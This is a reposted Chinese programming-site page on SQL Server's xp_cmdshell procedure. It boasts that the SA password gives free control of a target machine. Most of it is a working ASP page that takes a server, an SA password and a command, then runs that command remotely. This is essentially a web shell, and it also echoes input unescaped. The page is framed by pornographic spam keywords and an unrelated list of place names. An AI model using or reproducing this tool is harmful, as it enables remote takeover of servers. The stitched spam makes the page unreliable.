国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 編程 > shell > 正文

SQLSERVER擴(kuò)展存儲(chǔ)過(guò)程XP_CMDSHELL的簡(jiǎn)單應(yīng)用

2024-07-21 02:31:16
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

    XP_CMDSHELL存儲(chǔ)過(guò)程是執(zhí)行本機(jī)的CMD命令,要求系統(tǒng)登陸有SA權(quán)限,也就是說(shuō)如果獲得SQLSERVER的SA命令,那就可以在目標(biāo)機(jī)為所欲為了,知名軟件“流光”使用的應(yīng)該也是這個(gè)存儲(chǔ)過(guò)程來(lái)實(shí)現(xiàn)在目標(biāo)機(jī)上的操作。
下面是我寫(xiě)的一個(gè)簡(jiǎn)單的應(yīng)用頁(yè)面(asp),代碼如下。
CMD.ASP
<%@LANGUAGE="VBSCRipT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL實(shí)例_魔術(shù)師·劉</title>
<style type="text/CSS">
<!--
body{
 font-size:13px;
 line-height:20px;
 width:760;
 SCROLLBAR-FACE-COLOR: #2896e1;
 SCROLLBAR-SHADOW-COLOR: #6cb4d8;
 SCROLLBAR-ARROW-COLOR: #f0f0f0;
 SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
 SCROLLBAR-BASE-COLOR: #2896e1;
 background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
 border: 1px solid #336699;
}
.input {
 border: 1px solid #336699;
 background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>

<body>


<%if request("cmd")<>"" then%>
<table width=400  border=0 align=center cellpadding=5 cellspacing=0>
  <tr align=center>
    <td height=30  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL請(qǐng)求結(jié)果</span></td>
  </tr>
  <%

dim connstr,conn,rs,i
ConnStr="PRovider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
  <table width=400  border=0 align=center cellpadding=5 cellspacing=0>
    <tr align=center>
      <td height=30 colspan=2  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL實(shí)例</span></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>服務(wù)器</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td   class=LB><b>SA密碼 </b></td>
      <td   class=LBR><div align="left"><span class=N1>
          <input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
      </span></div></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>CMD命令</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td colspan="2"   class=LBR><div align="center"><b> </b>
              <input type="submit" name="Submit" value="  提交Command命令  " class="input">
      </div></td>
    </tr>
  </table>
</form>
</body>
</html>


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 三门峡市| 岳阳县| 新兴县| 姜堰市| 同德县| 基隆市| 徐州市| 乐亭县| 丹巴县| 平湖市| 班玛县| 哈密市| 万荣县| 泗阳县| 扎鲁特旗| 玉山县| 韩城市| 黔西县| 陆河县| 景洪市| 安陆市| 杭州市| 康定县| 原平市| 寿光市| 桃园县| 容城县| 衡南县| 河间市| 贞丰县| 遂宁市| 收藏| 句容市| 洮南市| 竹溪县| 上高县| 湟源县| 长汀县| 定安县| 利津县| 会同县|